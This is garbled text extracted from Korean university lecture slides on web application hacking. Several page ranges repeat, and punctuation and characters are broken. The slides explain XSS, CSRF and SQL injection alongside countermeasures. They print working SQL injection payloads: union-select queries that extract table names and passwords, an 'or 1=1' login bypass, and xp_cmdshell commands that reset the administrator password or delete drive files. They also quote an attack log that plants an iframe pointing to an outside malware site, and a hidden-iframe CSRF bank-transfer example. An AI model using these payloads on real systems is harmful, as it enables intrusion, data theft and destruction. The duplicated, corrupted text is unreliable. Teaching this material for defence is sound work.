1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 28: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 29: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 30: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

